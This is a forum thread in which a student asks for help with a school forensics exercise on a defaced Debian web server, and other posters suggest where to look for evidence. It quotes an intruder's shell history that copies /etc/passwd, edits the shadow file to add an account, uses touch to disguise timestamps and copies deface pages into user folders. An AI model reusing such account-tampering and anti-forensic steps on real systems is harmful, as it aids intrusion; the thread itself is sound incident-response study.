Default Debian server has been hacked; where to look for evidence?

Hey guys!

Let me start by saying it’s a school assignment, and therefore not a real world situation. Nevertheless, I would appreciate any help I can get.

The company ProvidIT has contacted us, their website has been hacked. Instead of their normal website, it shows “Buy creditcard details online, click here” (cc4u.jpg). A classical defacement.

The following offenses also might have been committed. So it’s our job to find evidence for those offences.

(I had to translate the Dutch law articles, so they might not be 100% acurate legally speaking, but you get the idea)

- Unlawfully accessing automated systems
- Copy or tap (eavesdrop) data after hacking
- Unlawfully access or use system resources of a 3rd party computer
- Deliberate access or impede the use of automated work by sending data (spam)
- Tapping or recording ‘data’
- Placing of recording equipment
- Be in position of equipment capable of tapping
- Publishing eavesdropped data
- Create a malfunction in automated systems on purpose
- On purpose altering data or making data unusable after hacking
- Being responsible for alternating data or making data unusable

We already found a lot of evidence. The problem with the evidence right now: it’s all circumstantial. We connect it to a conclusion of fact yet. The evidence is supposed to be used in a law suit, in which a hacker should get convicted for the facts mentioned above. Therefore, the evidence needs to be there and also preferably irrefutable.

I’m going to provide you with a summary of the things we have found, and what it could mean.
Since I’ve kinda exhausted my knowledge here, I need some help. What I like from you, is to tell me where to look for more evidence. Are there more log files I don’t know about, are there more system locations we need to investigate?
We’re using Cain Live CD, Autospy to investigate the hacked server.

Thanks very much in advance.

NOTABLE CHANGES / FILES
We found both a passwd and a passwd-, and a shadow and shadow-.
The passwd and shadow (without hyphen) have a user added (cees) when compared to the files with hyphens.

Var/www -> index.html deleted 15-04-2010 (changed 9.57.51)

/var/www/user/index.html -> defaced with cc4u
Cc4u.jpg
Cc4u.com site (URL)

/var/www/user/leo/.bash_history
CONTENTS OF THIS BASH_HISTORY:
Code:
ls ls -la cd .. cd /etcd /etc cd /etc ls nano passwd cp leo@ServerGroep1/etc/passwd /passwd.back cp leo@ServerGroep1:/etc/passwd /passwd.back scp leo@ServerGroep1:/etc/passwd /passwd.back nano passwd nano shadow logout ls cp cc4u.jpg /var/www/user/cc4u.jpg cp index.html /var/www/user/index.html cd .. ls cp index.html /arno/index.html cd arno ls -la touch test ls -la rm test cd .. cp index.html /arno/index.html cp index.html arno/index.html cp cc4u.jpg arno/cc4u.jpg ls -l cp cc4u.jpg cees/cc4u.jpg cp cc4u.jpg ed/cc4u.jpg cp cc4u.jpg ellen/cc4u.jpg cp cc4u.jpg peter/cc4u.jpg cp cc4u.jpg tim/cc4u.jpg cp cc4u.jpg tom/cc4u.jpg cp cc4u.jpg ton/cc4u.jpg cp cc4u.jpg vincent/cc4u.jpg cp index.html arno/index.html cp index.html cees/index.html cp index.html ed/index.html cp index.html ellen/index.html cp index.html peter/index.html cp index.html tim/index.html cp index.html ton/index.html cp index.html vincent/index.html cd .. logout

Question remaining: which user did this? He’s already in the system at this point.

==============
What we do think to know:
- A user “cees” has been added to both the passwd and shadowfile
- The account Leo has been used to gain FTP access
- evil.host and cc4u.lan are malicious hosts.
- The IP’s 10.0.0.14 and 10.13.37.10 are suspicious at least
- There have been several attempts to find vulnerabilities in the website
- A hacker framework has been used to find vulnerabilities
- A bash script in Leo’s folder contains very suspicious information. For example: the touch command was used, to alter timestamps.
- The suspicious activities start april 12 2010

Questions remaining..
- The exact number of hackers, is unknown.
- The identity of the hackers is unknown.
- Can we still trust our timestamps since we know the touch command has been used?
- When was the first server access? And how did they gain access in the first place?

Could you please advice on how to investigate this issue more thoroughly?
Help is much appreciated.

Default Re: Debian server has been hacked; where to look for evidence?

I would recommend the following (disclaimer: I'm no web ninja ) :

Not decide anything until you have actual proof; early conclusions can mislead.

Useful stuff to check:

Do you have /var/log/secure for ssh/sudo logins and connections?
Do you have process account (pacct) enabled? If you do, you can read the log for every successfully executed command on the system. This can help you try to trace the activity some more.

Have you tried disassembling the new touch command and the suspicious jpg file. At the very least, examine them with strings command to see if there are any useful strings in there. Can you also use file to see whether that job is indeed an image format, because extensions are meaningless.

Did you check md5sum for important system utilities, like ps, top, lsof, netstat? Compare to a different system of same spec. If these are changed, you most certainly have a problem.

Those are some pointers that could help you.

Regards,
Mrk

Thanks for your reply!

Quote:

I don not have a folder or file called secure in log.

Quote:

I do not know if it was. However, I cannot find /var/log/account/pacct nor any file called pacct.

Quote:

I don't know what you mean by the first. About the latter: the .jpg seems to be a normal .jpg, also when opened by notepad.

Quote:

No, but I will do that. I will go look for a Debian 5.0.4 installation and check those files. However, I do think this might be a bit out of our investigation leap.

I will reply with the results.
In the meantime: can you think of any more locations I can check? The most imporant questions we try to anwser at this time:
- How did they gain access in the first place?
- Can we proove the IP's 10.0.0.14 and 10.13.37.10 acutally have HACKED into our system? We know they have tried to attack the system. We also know they have gained access to the system. We do not know however if they gained access through hacking (or any other way, for example keylogging and then using someone else's account), nor do we know if they actually succesfully hacked the system at all.

Thank you very much!

Default Re: Debian server has been hacked; where to look for evidence?

I have found something suspicious, but I'm not sure how to interpret the data.

The file /var/log/wtmp contains logins and logouts. It contains:

Code:
2.6.26-2-686 tty3 LOGIN tty4 LOGIN tty2 LOGIN tty1 LOGIN tty5 LOGIN tty6 LOGIN tty1 root tty1 root ftpd3412 cc4u.lan pts/0 ts/0leo cc4u.lan ftpd3412 cc4u.lan pts/0 ftpd3534 cc4u.lan pts/0 ts/0leo cc4u.lan ftpd3534 cc4u.lan pts/0 pts/0 ts/0administrator cc4u.lan pts/0 tty1 tty1 2.6.26-2-686 tty1 LOGIN 2.6.26-2-686 pts/0 ts/0administrator cc4u.lan pts/0 pts/0 ts/0administrator cc4u.lan pts/0 2.6.26-2-686 reboot

What does this prove? I can see that there’s a ts/0leo (does this mean Leo accessed the server via TS?), and also “cc4u.lan”. Does this mean it’s the host that logged in, or a username?

In the file "lastlog", we find this:
Code:
Ktty1 Kpts/0 cc4u.lan Kpts/0 cc4u.lan

I don’t know how to interpret this either.

Lightbulb Re: Debian server has been hacked; where to look for evidence?

Hi i don't know Unix, but i noticed you mentioned the IP's 10.0.0.14 and 10.13.37.10

I see similar IP's when i do ipconfig /all on my XP comp

Name:  10.gif
Views: 871
Size:  6.8 KB

If that's normal, then i've got a REAL problem, unlike your assignment.

So either it's normal for you to see them or ?

Hi,

You don't need to worry. The A-class IP-range (10.x.x.x) is an internal range. It cannot be used on the internet.
I'm not fully sure on why it's showing those as your WINS Servers, because I believe WINS is pretty outdated and replaced by DNS.

It does depend a bit on your internal network structure. Their could (in theory) be a rogue WINS server on your network, but the changes of that are close to null I'd say.

Eagle,

To check real file type: "file <filename>"

To disassemble, you run: "objdump -S -D <file> > <output>".
But then, without really knowing assembly, having symbols or sources, this could be tricky. Still, you might be able to find something useful in there.

But BEFORE you do that: "strings <filename>".

You cannot be sure those are real IPs. It is also possible that someone had root on a remote box and sudo-ed or su-ed to another user and another and so forth, so that's not a real indication of anything.

Packets could have been mangled to appear to be coming from those sources. You might want to consult the switch/router that forwards communication to your web server. You might also want to use arp to see what mac addresses are in the neighborhood, and then cross reference those to ips and hostname referenced in dns, files, etc, if at all.

How was the access gained? I can only guess.
Weak password for user leo? Weak ftp permissions?
Weak system permissions that allowed user to cd outside ftp directory into system and do changes of all kinds? A vulnerability in your web server that allow an attacker to gain shell?

wtmp/utmp/lastlog are not reliable, even on fully healthy systems.
Not all apps/utilities register there. TTY-less users won't show there.

BTW, are you having fun with your assignment?

Personally, I prefer productive code monkeying over security ...


Regards,
Mrk

Haha, sure it's fun.
My education focuses on information security management, so hacking is a part of it and law (legal issues) too. We are going to simulate a lawsuit next week using the evidence found during the investigation

We also found out using MD5 decrypting that user ‘root’ used ‘toor’ as his password, for both the public website and the shell. So we might be able to prove negligence (by ProvID) as well.

Unfortunately we haven’t found much more information than we already had.

It’s quite interesting for sure!

Thank you very much for your information!

Hi, thanks i presumed they are internal IP's on both mine and yours. But as you were asking about the 10 range on yours, i wondered if you were concerned that something fishy was happening there, due to you posting about them ? Which made me wonder about my 10 range.

Well, any IP can be suspicious depending on the situation. First of all, 10.10.10.10.'s hostname was "cc4u". Cc4u is the same name used in the defaced website. Second, "10.13.37.10" is also used by cc4u. Not only that, but this IP contains "1337": hacker slang for 'elite'.

No, although SP2 isn't supported anymore since 13-07-2010! You need to upgrade to SP3 to receive the latest security updates.

It might, but it does not . We haven't hacked either. We learn about hacking techniques, perform some basic things (like path traversal, cross site scripting, sql injections, etc) but focus on investigating. We aren't taught to become investigators either .

That might be the case, but I doubt it has any relevance .
